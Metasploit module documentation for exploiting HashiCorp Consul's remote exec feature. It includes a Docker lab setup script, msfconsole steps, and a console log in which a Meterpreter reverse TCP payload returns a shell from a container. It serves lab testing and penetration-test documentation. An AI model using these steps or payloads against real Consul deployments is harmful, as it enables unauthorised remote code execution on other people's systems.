108 lines
4.2 KiB
Markdown
108 lines
4.2 KiB
Markdown
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## Vulnerable Application
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[HashiCorp Consul](https://www.consul.io/) with `disable_remote_exec` configuration flag set to false (default configuration up to version 0.8, opt-in since version 0.9).
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### Description
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This module exploits a feature of Hashicorp Consul named rexec.
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The exec command provides a mechanism for remote execution. For example, this can be used to run the uptime command across all machines providing the web service.
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The exposure of rexec service depends on the `disable_remote_exec` option. This option was set to true starting from Consul 0.8, to make remote exec opt-in instead of opt-out.
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#### References
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* Consul Exec - https://www.consul.io/docs/commands/exec.html
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* Consul _disable_remote_exec_ option - https://www.consul.io/docs/agent/options.html#disable_remote_exec
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* Inspiration from Garfield PoC - https://github.com/torque59/Garfield
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### Test setup
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The following bash script can be used to setup a testing environment with Docker:
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```
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#!/bin/sh
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echo "[+] Launching consul instances..."
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BOOTSTRAP_ID=`docker run -p8301:8301 -d --name=consul_bootstrap_server consul:latest agent -server -client=0.0.0.0 -bootstrap -data-dir /tmp/consul`
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sleep 2
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BOOTSTRAP_IP=`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $BOOTSTRAP_ID`
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docker run -d --name=consul_client_1 -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true, "disable_remote_exec":false}' consul:latest agent -ui -client=0.0.0.0 -retry-join=$BOOTSTRAP_IP
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echo "[+] Checking members..."
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docker exec -t consul_bootstrap_server consul members -http-addr="$BOOTSTRAP_IP:8500"
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```
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You should observe something similar to the excerpt below when running the script:
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```
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sudo ./launch.sh
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[+] Launching consul instances...
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d28e7cf476ff2f148cad81a0b1959a7c67591c2e348c6172b6f463af66d1eb9a
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[+] Checking members...
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Node Address Status Type Build Protocol DC Segment
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38a7c1d93e7f 172.17.0.1:8301 alive server 1.4.0 2 dc1 <all>
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d28e7cf476ff 172.17.0.2:8301 alive client 1.4.0 2 dc1 <default>
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```
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The following bash script can be used to stop and destroy **all your consul containers** (so be careful if you use consul containers for other things at the same time):
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```
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#!/bin/sh
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for h in `sudo docker ps -a | grep consul | cut -d' ' -f1`; do docker stop $h && docker rm $h; done
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```
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## Verification Steps
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You can verify the module against the vulnerable application with those steps:
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1. Launch a Consul cluster with the provided bash script
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2. Start msfconsole
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3. Do: `use exploit/multi/misc/consul_rexec_exec`
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4. Do: `set RHOST ip_of_consul_container`
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5. Do: `set RPORT 8500`
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6. Do: `check`. The target should appear vulnerable.
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7. Do: `set payload` with the payload of your choosing.
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8. Do: `set LHOST 172.17.42.1` (docker0 gateway IP)
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9. Do: `run`
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10. You should get a shell.
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## Scenarios
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### Reverse shell on Linux host
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Exploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target:
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```
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msf5 > use exploit/multi/misc/consul_rexec_exec
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msf5 exploit(multi/misc/consul_rexec_exec) > set RHOSTS 172.17.0.4
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RHOSTS => 172.17.0.4
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msf5 exploit(multi/misc/consul_rexec_exec) > set payload linux/x86/meterpreter/reverse_tcp
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payload => linux/x86/meterpreter/reverse_tcp
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msf5 exploit(multi/misc/consul_rexec_exec) > set LHOST 172.17.42.1
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LHOST => 172.17.42.1
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msf5 exploit(multi/misc/consul_rexec_exec) > check
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[+] 172.17.0.4:8500 The target is vulnerable.
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msf5 exploit(multi/misc/consul_rexec_exec) > run
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[*] Started reverse TCP handler on 172.17.42.1:4444
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[*] Creating session.
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[*] Got rexec session ID b39ba52e-848d-9dc4-dc1e-e84760062335
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[*] Setting command for rexec session b39ba52e-848d-9dc4-dc1e-e84760062335
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[*] Triggering execution on rexec session b39ba52e-848d-9dc4-dc1e-e84760062335
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[*] Sending stage (861480 bytes) to 172.17.0.4
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[*] Cleaning up rexec session b39ba52e-848d-9dc4-dc1e-e84760062335
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[*] Command Stager progress - 115.73% done (883/763 bytes)
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meterpreter > sysinfo
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Computer : 172.17.0.4
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OS : (Linux 4.4.0-38-generic)
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Architecture : x64
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BuildTuple : i486-linux-musl
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Meterpreter : x86/linux
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meterpreter > exit
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[*] Shutting down Meterpreter...
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[*] 172.17.0.4 - Meterpreter session 1 closed. Reason: User exit
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```
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